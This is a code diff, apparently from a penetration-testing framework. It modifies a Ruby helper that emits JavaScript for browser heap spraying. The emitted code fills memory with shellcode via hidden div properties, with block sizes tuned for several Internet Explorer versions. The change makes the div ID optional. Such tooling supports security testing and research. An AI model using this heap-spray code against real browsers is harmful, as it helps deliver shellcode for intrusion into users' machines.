@@ -799,9 +799,9 @@ def js_base64
799
799
#
800
800
# The "sprayHeap" JavaScript function supports the following arguments:
801
801
# shellcode => The shellcode to spray in JavaScript.
802
- # objId => The ID for a <div> HTML tag.
803
802
# browser => The type of browser to target for precise block size, such as:
804
803
# 'ie8', 'ie9', 'ie10', and 'generic'.
804
+ # objId => Optional. The ID for a <div> HTML tag.
805
805
# offset => Optional. Number of bytes to align the shellcode, default: 0x104
806
806
# heapBlockSize => Optional. Allocation size, default: 0x40000
807
807
# maxAllocs => Optional. Number of allocation calls, default: 0x250
@@ -817,7 +817,9 @@ def js_base64
817
817
# </script>
818
818
#
819
819
def js_property_spray
820
- js = %Q|function sprayHeap( oArg ) {
820
+ js = %Q|
821
+ var div_container;
822
+ function sprayHeap( oArg ) {
821
823
822
824
shellcode = oArg.shellcode;
823
825
browser = oArg.browser;
@@ -827,15 +829,19 @@ def js_property_spray
827
829
objId = oArg.objId;
828
830
829
831
if (shellcode == undefined) { throw "Missing argument: shellcode"; }
830
- if (objId == undefined) { throw "Missing argument: objId"; }
831
832
if (offset == undefined) { offset = 0x104; }
832
833
if (heapBlockSize == undefined) { heapBlockSize = 0x80000; }
833
834
if (maxAllocs == undefined) { maxAllocs = 0x350; }
834
835
if (browser == undefined) { browser = 'generic'; }
835
836
836
837
if (offset > 0x800) { throw "Bad alignment"; }
837
838
838
- var div_container = document.getElementById(objId);
839
+ div_container = document.getElementById(objId);
840
+
841
+ if (div_container == null) {
842
+ div_container = document.createElement("div");
843
+ }
844
+
839
845
div_container.style.cssText = "display:none";
840
846
var data;
841
847
junk = unescape("%u2020%u2020");
0 commit comments